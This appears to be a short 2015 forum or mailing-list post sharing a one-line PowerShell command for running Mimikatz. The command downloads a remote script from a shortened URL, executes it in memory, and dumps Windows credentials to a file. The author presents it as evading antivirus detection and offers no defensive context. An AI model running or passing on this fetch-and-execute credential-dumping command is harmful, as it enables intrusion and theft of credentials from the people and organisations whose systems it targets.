1 Apr
2015
1 Apr
'15
3:42 p.m.
This command runs mimikats using PowerShell. It runs fully in memory and doesn't touch disk except if you choose to dump the output to a text file. So far I haven't seen AV detect it.
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" > mimikatz.txt